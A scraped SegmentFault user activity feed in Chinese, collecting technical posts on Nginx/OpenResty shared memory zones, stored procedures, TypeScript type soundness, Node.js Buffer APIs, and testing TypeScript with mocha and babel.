我们将在多数示例中使用 ngx_lua 模块的 lua_shared_dict,因为该模块可以使用自定义的 Lua 代码进行编程。我们在这些示例中展示的行为和问题,也同样适用于所有标准 Nginx 模块和第三方模块中的其他共享内存区。

Slab 与内存页

Nginx 及其模块通常使用 Nginx 核心里的 slab 分配器 来管理共享内存区内的空间。这个slab 分配器专门用于在固定大小的内存区内分配和释放较小的内存块。

在 slab 的基础之上,共享内存区会引入更高层面的数据结构,例如红黑树和链表等等。

slab 可能小至几个字节,也可能大至跨越多个内存页。

操作系统以内存页为单位来管理进程的共享内存(或其他种类的内存)。
x86_64 Linux 系统中,默认的内存页大小通常是 4 KB,但具体大小取决于体系结构和 Linux 内核的配置。例如,某些 Aarch64 Linux 系统的内存页大小高达 64 KB。

我们将会看到 OpenResty 和 Nginx 进程的共享内存区,分别在内存页层面和 slab 层面上的细节信息。

分配的内存不一定有消耗

与硬盘这样的资源不同,物理内存(或 RAM)总是一种非常宝贵的资源。
大部分现代操作系统都实现了一种优化技术,叫做 按需分页(demand-paging),用于减少用户应用对 RAM 资源的压力。具体来说,就是当你分配大块的内存时,操作系统核心会将 RAM 资源(或物理内存页)的实际分配推迟到内存页里的数据被实际使用的时候。例如,如果用户进程分配了 10 个内存页,但却只使用了 3 个内存页,则操作系统可能只把这 3 个内存页映射到了 RAM 设备。这种行为同样适用于 Nginx 或 OpenResty 应用中分配的共享内存区。用户可以在 nginx.conf 文件中配置庞大的共享内存区,但他可能会注意到在服务器启动之后,几乎没有额外占用多少内存,毕竟通常在刚启动的时候,几乎没有共享内存页被实际使用到。

空的共享内存区

我们以下面这个 nginx.conf 文件为例。该文件分配了一个空的共享内存区,并且从没有使用过它:

master_process on;
worker_processes 2;

events {
    worker_connections 1024;
}

http {
    lua_shared_dict dogs 100m;

    server {
        listen 8080;

        location = /t {
            return 200 "hello world\n";
        }
    }
}

我们通过 lua_shared_dict 指令配置了一个 100 MB 的共享内存区,名为 dogs。并且我们为这个服务器配置了 2 个工作进程。请注意,我们在配置里从没有触及这个 dogs 区,所以这个区是空的。

可以通过下列命令启动这个服务器:

mkdir ~/work/
cd ~/work/
mkdir logs/ conf/
vim conf/nginx.conf  # paste the nginx.conf sample above here
/usr/local/openresty/nginx/sbin/nginx -p $PWD/

然后用下列命令查看 nginx 进程是否已在运行:

$ ps aux|head -n1; ps aux|grep nginx
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
agentzh   9359  0.0  0.0 137508  1576 ?        Ss   09:10   0:00 nginx: master process /usr/local/openresty/nginx/sbin/nginx -p /home/agentzh/work/
agentzh   9360  0.0  0.0 137968  1924 ?        S    09:10   0:00 nginx: worker process
agentzh   9361  0.0  0.0 137968  1920 ?        S    09:10   0:00 nginx: worker process

这两个工作进程占用的内存大小很接近。下面我们重点研究 PID 为 9360 的这个工作进程。在 OpenResty XRay 控制台的 Web 图形界面中,我们可以看到这个进程一共占用了 134.73 MB 的虚拟内存(virtual memory)和 1.88 MB 的常驻内存(resident memory),这与上文中的 ps 命令输出的结果完全相同:

空的共享内存区的虚拟内存使用量明细

正如我们的另一篇文章 《OpenResty 和 Nginx 如何分配和管理内存》中所介绍的,我们最关心的就是常驻内存的使用量。常驻内存将硬件资源实际映射到相应的内存页(如 RAM 1)。所以我们从图中看到,实际映射到硬件资源的内存量很少,总计只有 1.88MB。上文配置的 100 MB 的共享内存区在这个常驻内存当中只占很小的一部分(详情请见后续的讨论)。

当然,共享内存区的这 100 MB 还是全部贡献到了该进程的虚拟内存总量中去了。操作系统会为这个共享内存区预留出虚拟内存的地址空间,不过,这只是一种簿记记录,此时并不占用任何的 RAM 资源或其他硬件资源。

不是 空无一物

我们可以通过该进程的“应用层面的内存使用量的分类明细”图,来检查空的共享内存区是否占用了常驻(或物理)内存。

应用层面内存使用量明细

有趣的是,我们在这个图中看到了一个非零的 Nginx Shm Loaded (已加载的 Nginx 共享内存)组分。这部分很小,只有 612 KB,但还是出现了。所以空的共享内存区也并非空无一物。这是因为 Nginx 已经在新初始化的共享内存区域中放置了一些元数据,用于簿记目的。这些元数据为 Nginx 的 slab 分配器所使用。

已加载和未加载内存页

我们可以通过 OpenResty XRay 自动生成的下列图表,查看共享内存区内被实际使用(或加载)的内存页数量。

共享内存区域内已加载和未加载的内存页

我们发现在dogs区域中已经加载(或实际使用)的内存大小为 608 KB,同时有一个特殊的 ngx_accept_mutex_ptr 被 Nginx 核心自动分配用于 accept_mutex 功能。

这两部分内存的大小相加为 612 KB,正是上文的饼状图中显示的 Nginx Shm Loaded 的大小。

如前文所述,dogs 区使用的 608 KB 内存实际上是 slab 分配器 使用的元数据。

未加载的内存页只是被保留的虚拟内存地址空间,并没有被使用过。

关于进程的页表

我们没有提及的一种复杂性是,每一个 nginx 工作进程其实都有各自的页表。CPU 硬件或操作系统内核正是通过查询这些页表来查找虚拟内存页所对应的存储。因此每个进程在不同共享内存区内可能有不同的已加载页集合,因为每个进程在运行过程中可能访问过不同的内存页集合。为了简化这里的分析,OpenResty XRay 会显示所有的为任意一个工作进程加载过的内存页,即使当前的目标工作进程从未碰触过这些内存页。也正因为这个原因,已加载内存页的总大小可能(略微)高于目标进程的常驻内存的大小。

空闲的和已使用的 slab

如上文所述,Nginx 通常使用 slabs 而不是内存页来管理共享内存区内的空间。我们可以通过 OpenResty XRay 直接查看某一个共享内存区内已使用的和空闲的(或未使用的)slabs 的统计信息:

dogs区域中空的和已使用的slab

如我们所预期的,我们这个例子里的大部分 slabs 是空闲的未被使用的。注意,这里的内存大小的数字远小于上一节中所示的内存页层面的统计数字。这是因为 slabs 层面的抽象层次更高,并不包含 slab 分配器针对内存页的大小补齐和地址对齐的内存消耗。

我们可以通过OpenResty XRay进一步观察在这个 dogs 区域中各个 slab 的大小分布情况:

空白区域的已使用 slab 大小分布

空的 slab 大小分布

我们可以看到这个空的共享内存区里,仍然有 3 个已使用的 slab 和 157 个空闲的 slab。这些 slab 的总个数为:3 + 157 = 160个。请记住这个数字,我们会在下文中跟写入了一些用户数据的 dogs 区里的情况进行对比。

写入了用户数据的共享内存区

下面我们会修改之前的配置示例,在 Nginx 服务器启动时主动写入一些数据。具体做法是,我们在 nginx.conf 文件的 http {} 配置分程序块中增加下面这条 init_by_lua_block 配置指令:

init_by_lua_block {
    for i = 1, 300000 do
        ngx.shared.dogs:set("key" .. i, i)
    end
}

这里在服务器启动的时候,主动对 dogs 共享内存区进行了初始化,写入了 300,000 个键值对。

然后运行下列的 shell 命令以重新启动服务器进程:

kill -QUIT `cat logs/nginx.pid`
/usr/local/openresty/nginx/sbin/nginx -p $PWD/

新启动的 Nginx 进程如下所示:

$ ps aux|head -n1; ps aux|grep nginx
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
agentzh  29733  0.0  0.0 137508  1420 ?        Ss   13:50   0:00 nginx: master process /usr/local/openresty/nginx/sbin/nginx -p /home/agentzh/work/
agentzh  29734 32.0  0.5 138544 41168 ?        S    13:50   0:00 nginx: worker process
agentzh  29735 32.0  0.5 138544 41044 ?        S    13:50   0:00 nginx: worker process

虚拟内存与常驻内存

针对 Nginx 工作进程 29735,OpenResty XRay 生成了下面这张饼图:

非空白区域的虚拟内存使用量明细

显然,常驻内存的大小远高于之前那个空的共享区的例子,而且在总的虚拟内存大小中所占的比例也更大(29.6%)。

虚拟内存的使用量也略有增加(从 134.73 MB 增加到了 135.30 MB)。因为共享内存区本身的大小没有变化,所以共享内存区对于虚拟内存使用量的增加其实并没有影响。这里略微增大的原因是我们通过 init_by_lua_block 指令新引入了一些 Lua 代码(这部分微小的内存也同时贡献到了常驻内存中去了)。

应用层面的内存使用量明细显示,Nginx 共享内存区域的已加载内存占用了最多常驻内存:

dogs 区域内已加载和未加载的内存页

已加载和未加载内存页

现在在这个 dogs 共享内存区里,已加载的内存页多了很多,而未加载的内存页也有了相应的显著减少:

dogs区域中的已加载和未加载内存页

空的和已使用的 slab

现在 dogs 共享内存区增加了 300,000 个已使用的 slab(除了空的共享内存区中那 3 个总是会预分配的 slab 以外):

dogs非空白区域中的已使用slab

显然,lua_shared_dict 区中的每一个键值对,其实都直接对应一个 slab。

空闲 slab 的数量与先前在空的共享内存区中的数量是完全相同的,即 157 个 slab:

dogs非空白区域的空slab

虚假的内存泄漏

正如我们上面所演示的,共享内存区在应用实际访问其内部的内存页之前,都不会实际耗费物理内存资源。因为这个原因,用户可能会观察到 Nginx 工作进程的常驻内存大小似乎会持续地增长,特别是在进程刚启动之后。这会让用户误以为存在内存泄漏。下面这张图展示了这样的一个例子:

process memory growing

通过查看 OpenResty XRay 生成的应用级别的内存使用明细图,我们可以清楚地看到 Nginx 的共享内存区域其实占用了绝大部分的常驻内存空间:

Memory usage breakdown for huge shm zones

这种内存增长是暂时的,会在共享内存区被填满时停止。但是当用户把共享内存区配置得特别大,大到超出当前系统中可用的物理内存的时候,仍然是有潜在风险的。正因为如此,我们应该注意观察如下所示的内存页级别的内存使用量的柱状图:

Loaded and unloaded memory pages in shared memory zones

图中蓝色的部分可能最终会被进程用尽(即变为红色),而对当前系统产生冲击。

HUP 重新加载

Nginx 支持通过 HUP 信号来重新加载服务器的配置而不用退出它的 master 进程(worker 进程仍然会优雅退出并重启)。通常 Nginx 共享内存区会在 HUP 重新加载(HUP reload)之后自动继承原有的数据。所以原先为已访问过的共享内存页分配的那些物理内存页也会保留下来。于是想通过 HUP 重新加载来释放共享内存区内的常驻内存空间的尝试是会失败的。用户应改用 Nginx 的重启或二进制升级操作。

值得提醒的是,某一个 Nginx 模块还是有权决定是否在 HUP 重新加载后保持原有的数据。所以可能会有例外。

结论

我们在上文中已经解释了 Nginx 的共享内存区所占用的物理内存资源,可能远少于 nginx.conf 文件中配置的大小。这要归功于现代操作系统中的按需分页特性。我们演示了空的共享内存区内依然会使用到一些内存页和 slab,以用于存储 slab 分配器本身需要的元数据。通过 OpenResty XRay 的高级分析器,我们可以实时检查运行中的 nginx 工作进程,查看其中的共享内存区实际使用或加载的内存,包括内存页和 slab 这两个不同层面。

另一方面,按需分页的优化也会产生内存在某段时间内持续增长的现象。这其实并不是内存泄漏,但仍然具有一定的风险。我们也解释了 Nginx 的 HUP 重新加载操作通常并不会清空共享内存区里已有的数据。

我们将在本博客网站后续的文章中,继续探讨共享内存区中使用的高级数据结构,例如红黑树和队列,以及如何分析和缓解共享内存区内的内存碎片的问题。

关于作者

章亦春是开源项目 OpenResty® 的创始人,同时也是 OpenResty Inc. 公司的创始人和 CEO。他贡献了许多 Nginx 的第三方模块,相当多 Nginx 和 LuaJIT 核心补丁,并且设计了 OpenResty XRay 等产品。

关注我们

如果您觉得本文有价值,非常欢迎关注我们 OpenResty Inc. 公司的博客网站 。也欢迎扫码关注我们的微信公众号:

我们的微信公众号

翻译

我们提供了英文版原文和中译版(本文) 。我们也欢迎读者提供其他语言的翻译版本,只要是全文翻译不带省略,我们都将会考虑采用,非常感谢!


  1. 当发生交换(swapping)时,一些常驻内存会被保存和映射到硬盘设备上去。
查看原文

赞 8 收藏 5 评论 0

BBQ只有番薯 赞了回答 · 2月6日

存储过程在实际项目中用的多吗?

一、存储过程是非常有用滴。例如,在常见的登录场景中,需要记录用户的登入记录,你可以使用编程语言来实现:

  db.connect( "db_host" ).execute_sql( "select count(*) from user_info_table where username = 'you' and pass='123' " );
  db.connect( "db_host" ).execute_sql( "insert into login_table( user_name, log_time )values( 'you', '2017_01_05' )  " );

在这里,第1步首先判断用户存不存在,第2步记录用户登录日志。

存储过程实现:login_user_and_save_result()的功能是执行用户登录操作、并记录用户的登录日志。

  db.connect( "db_host" ).execute_sql( "call login_user_and_save_result('you', '123') " );
  

区别在于,编程语言实现需要执行2次数据库连接connect操作、2次编译sql操作execute_sql;login_user_and_save_result()则只需要1次connect,0次编译execute_sql操作,因为存储过程在创建之初就已经编译好了,只需要传参数就可以了。
这样在用户量逐步增长的情况下,存储过程可以为服务器省很多带宽、系统资源消耗,优势会慢慢显示出来。

如果,你的boss让你再加一层逻辑,只允许用户3次登录尝试,3次失败后,不允许登录。在编程语言级别的数据库操作会变的更加复杂一点。

 arr_result = db.connect( "db_host" ).execute_sql( "select count(*) from user_info_table where username = 'you' and pass='123' and enable_login = 1" ); //
 if( arr_result != 1 ) { //更新登入失败次数
      db.connect( "db_host" ).execute_sql( "insert user_login_fail(username, pass) values( 'you', 'pass' ) " );
 }
 fail_count = db.connect( 'db_host' ).execute_sql( "select count(*) from user_login_fail where username = 'you'" );
 if( fail_count > 3 ) {
      db.connect( "db_host" ).execute_sql( "update user_info_table set enable_login = 0" );
 }

在这里,你可以发现编程语言需要频繁的连接db、或者说要和数据库保持长时间的网络连接。如果,你把这些登录逻辑都放在login_user_and_result()里实现,你要做的只是传入参数username、pass,系统也只需要做1次连接db、0次编译,简单很多。

二、存储过程的作用不只在资源消耗上。现在,你的程序有两种方式登录,一种是在web端登录,一种是原生client端登录。假设,web端是使用java web实现,client端是使用visual c++来实现。如果,java web 和 visual c++在登录的时候都调用login_user_and_result(),就可以保持用户一致的登录行为,避免开发人员分别实现导致其他问题。其实,你还可以给存储过程添加各种数据库级别的权限,统一控制登入权限。

关注 17 回答 14

BBQ只有番薯 关注了专栏 · 1月19日

疯狂的技术宅

本专栏文章首发于公众号:前端先锋 。

关注 24062

BBQ只有番薯 赞了文章 · 1月19日

TypeScript 真的值得吗?

作者:Paul Cowan

翻译:疯狂的技术宅

原文:https://blog.logrocket.com/is...

未经允许严禁转载

在开始之前,希望大家知道,我是 TypeScript 爱好者。它是我在前端 React 项目和基于后端 Node 工作时的主要编程语言。但我确实有一些疑惑,所以想在本文中进行讨论。迄今为止,我已经用 TypeScript 写了至少三年的代码,所以 TypeScript 做得的确不错,而且满足了我的需求。

TypeScript 克服了一些很难解决的问题,并成为前端编程领域的主流。 TypeScript 在这篇列出了最受欢迎的编程语言的文章中排名第七位。

无论是否使用 TypeScript,任何规模的开发团队都应该遵循以下惯例:

  • 编写良好的单元测试——应在合理范围内涵盖尽可能多的生产代码
  • 结对编程——额外的审视可以捕捉到的错误远远超过语法错误
  • 良好的同行评审流程——正确的同行评审可以检查出许多机器无法捕获的错误
  • 使用 linter,例如 eslint

TypeScript 可以在这些基础之上增加额外的安全性,但我认为这在编程语言需求列表中应该排在后面。

TypeScript 不是健全的类型系统

我认为这可能是 TypeScript 当前版本的主要问题,但是首先让我定义 健全非健全 的类型系统。

健全性

健全的类型系统是能够确保你的程序不会进入无效状态的系统。例如,如果表达式中的静态类型为 string,则在运行时,要保证在评估它时仅获得 string

在健全的类型系统中,绝对不会在编译时或运行时产生表达式与预期类型不匹配的情况。

当然 TypeScript 有一定程度的健全性,并捕获以下类型错误:

// 'string' 类型不可分配给 'number' 类型
const increment = (i: number): number => { return i + "1"; }

// Argument of type '"98765432"' is not assignable to parameter of type .
// 无法将参数类型 '"98765432"' 分配给参数类型'number'。
const countdown: number = increment("98765432");

不健全

100% 的健全性不是 Typescript 的目标,这是在 non-goals of TypeScript 列表中第 3 条中明确指出的事实:

...适用健全或“证明正确的”类型的系统。相反,要在正确性和生产率之间取得平衡。

这意味着不能保证变量在运行时具有定义的类型。我可以用下面的例子来说明这一点:

interface A {
    x: number;
}

let a: A = {x: 3}
let b: {x: number | string} = a; 
b.x = "unsound";
let x: number = a.x; // 不健全的

a.x.toFixed(0); // 什么鬼?

上面的代码是 不健全 的,因为从接口 A 中能够知道 a.x 是一个数字。不幸的是,经过一系列重新分配后,它最终以字符串形式出现,并且以下代码能够编译通过,但是会在运行时出错。

不幸的是,这里显示的表达式可以正确编译:

a.x.toFixed(0);

我认为这可能是 TypeScript 最大的问题,因为健全性不是目标。我仍然会遇到许多运行时错误,tsc 编译器不会标记这些错误。通过这种方法,TypeScript 在健全和不健全的阵营中脚踏两只船。这种半途而废的现象是通过 any 类型强制执行的,我将在后面提到。

我仍然需要编写很多的测试,这让我感到沮丧。当我第一次开始使用 TypeScript 时错误地得出结论:可以不必编写这么多单元测试了。

TypeScript 挑战了现状,并声称降低使用类型的认知开销比类型健全性更重要。

我能够理解为什么 TypesScript 会走这条路,并且有一个论点指出,如果健全类型系统能够得到 100% 的保证,那么对 TypeScript 的使用率讲不会那么高。这种观点随着 dart 语言的逐渐流行( Flutter 现已被广泛使用)被反驳了。健全性是 dart 语言的目标,这里是相关的讨论(https://dart.dev/guides/langu...)。

不健全以及 TypeScript 暴露在严格类型之外的各种转义符使它的有效性大大降低,不过这总比没有强一些。我的愿望是,随着 TypeScript 的流行,能够有更多的编译器选项可供使用,从而使高级用户可以得到 100% 的可靠性。

TypeScript 不保证运行时的类型检查

运行时类型检查不是 TypeScript 的目标,因此这种愿望可能永远不会实现。例如在处理从 API 调用返回的 JSON 时,运行时类型检查将是有好处的。如果可以在类型级别上进行控制,则不需要那么多的错误种类和单元测试。

正是因为无法在运行时保证所有的事情,所以可能会发生:

const getFullName = async (): string => {
  const person: AxiosResponse = await api();
  
  //response.name.fullName 可能会在运行时返回 undefined
  return response.name.fullName
}

尽管有一些很棒的支持库,例如 io-ts,但这可能意味着你必须复制自己的model。

可怕的 any 类型和严格性选项

any 类型就是这样,编译器允许任何操作或赋值。

TypeScript 在一些小细节上往往很好用,但是人们倾向于在 any 类型上花费很多时间。我最近在一个 Angular 项目中工作,看到很多这样的代码:

export class Person {
 public _id: any;
 public name: any;
 public icon: any;

TypeScript 让你忘记类型系统。

你可以用 any 强制转换任何一种类型:

("oh my goodness" as any).ToFixed(1); // 还记得我说的健全性吗?

strict 编译器选项启用了以下编译器设置,这些设置会使事情听起来更加合理:

  • --strictNullChecks
  • --noImplicitAny
  • --noImplicitThis
  • --alwaysStrict

还有 eslint 规则 @typescript-eslint/no-explicit-any

any 的泛滥会破坏你类型的健全性。

结论

必须重申,我是 TypeScript 爱好者,而且一直在日常工作中使用它,但是我确实认为它出现的时间还很短,而且类型还并不完全合理。 Airbnb 声称 TypeScript 可以阻止 38% 的错误。我非常怀疑这个数字的准确性。 TypeScript 不会对现有的做法有良好的提高。我仍然必须编写尽可能多的测试。你可能会不同意,不过我一直在编写更多的代码,并且不得不去编写类型测试,同时仍然会遇到意外的运行时错误。

TypeScript 提供了基本的类型检查,但健全性和运行时类型检查不是它的目标,这使 TypeScript 在美好的世界和我们所处的现状中采取折衷。

TypeScript 的亮点在于有良好的 IDE 支持,例如 vscode,如果我们输入了错误的内容,将会获得很好的视觉反馈。

image.png
vscode中的TypeScript错误

通过 TypeScript 还可以增强重构的功能,并且在对修改后的代码进行编译时,可以立即识别出代码的改变(例如方法签名的更改)。

TypeScript 启用了良好的类型检查,并且绝对要比没有类型检查或仅使用普通的 eslint 更好,但是我认为它还可以做更多的事情。对于那些想要更多的人来说,还能够提供足够多的编译器选项。


本文首发微信公众号:前端先锋

欢迎扫描二维码关注公众号,每天都给你推送新鲜的前端技术文章

欢迎扫描二维码关注公众号,每天都给你推送新鲜的前端技术文章

欢迎继续阅读本专栏其它高赞文章:


查看原文

赞 11 收藏 8 评论 3

BBQ只有番薯 赞了文章 · 1月19日

2019年SF年度报告(非官方),看看你为社区贡献了多少?

作为了程序员,自然少不了逛技术社区。思否在我看来是国内比较出众的技术社区了。

这一年

2019这一年来SF社区带给我了很大的进步。由于我刚工作,对于有些技术还不是很了解,通过SF提问,热心的网友们帮助了我很多。

后来,我也尝试解决别人的问题。有些问题,当一开始看到的时候,自己是无法解决的,自己会先去研究,再回头帮助网友回答问题。这也促进了我的进步。

年度报告

出于对SF的喜爱。自己一直都想做一个关于社区的年度报告,于是就有了下面这个。

微信截图_20200118162915.png

这个年度报告主要是基于SF的声望记录而生成,数据可能会稍有出入。

如何使用

关注我的公众号和回复“SF年度报告”之后,会获得一个链接,在链接上追加上思否社区的ID即可。记住是ID,不是名字。

扫码_搜索联合传播样式-白色版.png

思否ID从哪里找?打开思否社区个人主页可找到,如图所示。

微信截图_20200118162634.png

PS:

  1. 数据生成比较慢,请耐心等待。
  2. 建议使用手机Chrome浏览器
查看原文

赞 2 收藏 0 评论 0

BBQ只有番薯 赞了文章 · 1月19日

有趣的NodeJS模块 - Buffer

Buffer 作为 nodejs 中重要的概念和功能,为开发者提供了操作二进制的能力。本文记录了几个问题,来加深对 Buffer 的理解和使用:

  • 认识缓冲器
  • 如何申请堆外内存
  • 如何计算字节长度
  • 如何计算字节长度
  • 如何转换字符编码
  • 理解共享内存与拷贝内存
🔍 关注公众号“心谭博客” / 👉 查看原文: xxoo521.com / 欢迎交流和指正

认识 Buffer(缓冲器)

Buffer 是 nodejs 核心 API,它提供我们处理二进制数据流的功能。Buffer 的使用和 ES2017 的 Uint8Array 非常相似,但由于 node 的特性,专门提供了更深入的 api。

Uint8Array 的字面意思就是:8 位无符号整型数组。一个字节是 8bit,而字节的表示也是由两个 16 进制(4bit)的数字组成的。

const buf = Buffer.alloc(1);
console.log(buf); // output: <Buffer 00>

如何申请堆外内存

Buffer 可以跳出 nodejs 对堆内内存大小的限制。nodejs12 提供了 4 种 api 来申请堆外内存:

  • Buffer.from()
  • Buffer.alloc(size[, fill[, encoding]])
  • Buffer.allocUnsafe(size)
  • Buffer.allocUnsafeSlow(size)

Buffer.alloc vs Buffer.allocUnsafe

在申请内存时,可能这片内存之前存储过其他数据。如果不清除原数据,那么会有数据泄漏的安全风险;如果清除原数据,速度上会慢一些。具体用哪种方式,根据实际情况定。

  • Buffer.alloc:申请指定大小的内存,并且清除原数据,默认填充 0
  • Buffer.allocUnsafe:申请指定大小内存,但不清除原数据,速度更快

根据提供的 api,可以手动实现一个alloc

function pollifyAlloc(size, fill = 0, encoding = "utf8") {
    const buf = Buffer.allocUnsafe(size);
    buf.fill(fill, 0, size, encoding);
    return buf;
}

Buffer.allocUnsafe vs Buffer.allocUnsafeSlow

从命名上可以直接看出效果,Buffer.allocUnsafeSlow更慢。因为当使用 Buffer.allocUnsafe 创建新的 Buffer 实例时,如果要分配的内存小于 4KB,则会从一个预分配的 Buffer 切割出来。 这可以避免垃圾回收机制因创建太多独立的 Buffer 而过度使用。

这种方式通过消除跟踪和清理的需要来改进性能和内存使用。

如何计算字节长度

利用 Buffer,可以获得数据的真实所占字节。例如一个汉字,它的字符长度是 1。但由于是 utf8 编码的汉字,所以占用 3 个字节。

直接利用Buffer.byteLength()可以获得字符串指定编码的字节长度:

const str = "本文原文地址: xxoo521.com";

console.log(Buffer.byteLength(str, "utf8")); // output: 31
console.log(str.length); // output: 19

也可以直接访问 Buffer 实例的 length 属性(不推荐):

console.log(Buffer.from(str, "utf8").length); // output: 31

如何转换字符编码

Nodejs 当前支持的编码格式有:ascii、utf8、utf16le、ucs2、base64、latin1、binary、hex。其他编码需要借助三方库来完成。

下面,是用Buffer.from()buf.toString()来封装的 nodejs 平台的编码转换函数:

function trans(str, from = "utf8", to = "utf8") {
    const buf = Buffer.from(str, from);
    return buf.toString(to);
}

// output: 5Y6f5paH5Zyw5Z2AOiB4eG9vNTIxLmNvbQ==
console.log(trans("原文地址: xxoo521.com", "utf8", "base64"));

共享内存与拷贝内存

在生成 Buffer 实例,操作二进制数据的时候,千万要注意接口是基于共享内存,还是基于拷贝底层内存。

例如对于生成 Buffer 实例的from(),不同类型的参数,nodejs 底层的行为是不同的。

为了更形象地解释,请看下面两段代码。

代码 1

const buf1 = Buffer.from("buffer");
const buf2 = Buffer.from(buf1); // 拷贝参数中buffer的数据到新的实例
buf1[0]++;

console.log(buf1.toString()); // output: cuffer
console.log(buf2.toString()); // output: buffer

代码 2

const arr = new Uint8Array(1);
arr[0] = 97;

const buf1 = Buffer.from(arr.buffer);
console.log(buf1.toString()); // output: a

arr[0] = 98;
console.log(buf1.toString()); // output: b

在第二段代码中,传入Buffer.from的参数类型是arrayBuffer。因此Buffer.from仅仅是创建视图,而不是拷贝底层内存。buf1 和 arr 的内存是共享的。

在操作 Buffer 的过程中,需要特别注意共享和拷贝的区别,发生错误比较难排查。

参考链接


专注前端与算法的系列干货分享,欢迎关注(¬‿¬)

查看原文

赞 5 收藏 4 评论 0

BBQ只有番薯 发布了文章 · 1月17日

使用mocha测试TypeScript文件

如何在mocha中测试TypeScript文件

mocha是我比较喜欢的一款的单元测试框架。使用mocha直接测试TypeScript文件,需要结合babel,preset-env,preset-typescript以及babel-register。

// linked-list.ts
export default class LinkedList(){

}
// ./test/linked-list.js
require('@babel/register')({
    presets: [
        ['@babel/preset-env', { modules: 'commonjs'}],
        ['@babel/preset-typescript']
    ],
    extensions: ['.ts']
})

const LinkedList = require('./src/linked-list.ts')

describe('#test', function(){
    it('#1', function(){
        let linkedList = new LinkedList()
        ...
    })
})

需要注意的是

  • babel-register 会将参数中的配置和bablerc中的配置共同起作用
  • preset-typescript 不使用tsconfig.json中的编译选项
  • 使用preset-typescript的时候,大多数的编译选项可以通过babel来实现

然后在命令行中执行

mocha ./test/linked-list.js

发现报如下错误
LinkedList is not a constructor

排查之后发现,在测试文件./test/linked-list.js 中

const LinkedList = require('./src/linked-list.ts') 

导入的LinkedList真实为

{ default: function LinkedList(){}, __esModule: true }

所以我应该在测试文件中加上

const LinkedList = require('./src/linked-list.ts').default

才能正确执行。


但是上面的写法很麻烦,而且很蠢。很显然babel将我的ts文件从ES module 转换为 commonjs的时候,是将export default 的内容挂载module.exports.default上面,而不是我一开始期望的export default === module.exports =

babel v6之后ES module TO commonjs

在babel v6之后,export default 导出的内容不再使用module.exports = 导出。

// es6.js
export default function sum(){}

// commonjs
exports.__module = true
exports['default'] = function sum(){}

exports.__module用来告诉打包工具(基本上这是所有打包工具的事实标准)当前模块是从ES module 转换过来的,完全兼容ES module。所以当使用import 导入这样一个commonjs模块的时候,应该使用__importDefault helper来加载

var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
}
exports.__esModule = true;
var bar_1 = __importDefault(require("bar"));

这也是我们前面必须加上.default的原因。


但是这样子很麻烦,而且很蠢。如果我们还想保持es5 之前的模块交互逻辑,也就是export default导出的内容使用commonjs module.exports = 默认导出。我们可以使用babel-plugin-add-module-exports

require('@babel/register')({
    presets: [
        ['@babel/preset-env', { modules: 'commonjs'}],
        ['@babel/preset-typescript']
    ],
    plugins: ['add-module-exports'],
    extensions: ['.ts']
})

该插件会在当你的模块只有export default 默认导出的时候,转换为commonjs的默认导出。

// es6.js
export default function sum(){}

// commonjs
exports.__module = true
exports['default'] = function sum(){}
modules.exports = exports['default']

这样子我们就不需要加上麻烦的.default了。

是否使用默认导出

对于是否使用默认导出(export default / module.exports = ),好像越来越多的人开始持否定态度。就连javascript 的创造者Nicholas C. Zakas也表示不会再使用默认导出了。要知道npm上大多数的包或者模块都是使用module.exports默认导出的。

那么默认导出到底有什么弊端呢?根据尼古拉斯的说法,默认导出最重要的一个弊端是会悄无声息地转移到其他变量,无法通过搜索代码的方式来跟踪。这给代码阅读,排查错误造成了很大的干扰。导出的最佳实践应该是**只使用具名导出

举个例子

// linked-list.js
export default class LinkedList{}

// a.js
import list from './linked-list'

在一开始,我们知道list就是LinkedList类。但是随着项目的迭代,我们可能在多处使用了这个LinkedList类,但是我们都想a.js一样改变了这个类名,当我们想通过LinkedList全局搜索何处引用的时候,我们就已经无法得到正确的结果了。每次阅读代码的时候,我们都需要拉到头部看下这个list是从何处导入的,导入的是什么,这会严重中断我们的开发进程。

PS: export default 也是一种具名导出(named export),只不过这个名字是default.

// a.js
export default function LinkedList(){}

// b.js
import { default } from './a.js'
import LinkedList from './a.js'

// default === LinkedList 
查看原文

赞 0 收藏 0 评论 0

认证与成就

  • 获得 37 次点赞
  • 获得 11 枚徽章 获得 0 枚金徽章, 获得 2 枚银徽章, 获得 9 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2017-08-20
个人主页被 677 人浏览